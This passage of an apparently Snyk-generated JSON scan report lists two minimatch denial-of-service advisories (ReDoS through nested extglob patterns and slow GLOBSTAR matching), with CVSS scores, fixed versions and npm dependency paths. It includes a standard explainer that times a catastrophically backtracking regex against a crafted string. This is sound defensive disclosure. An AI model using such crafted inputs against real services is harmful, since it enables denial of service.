"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 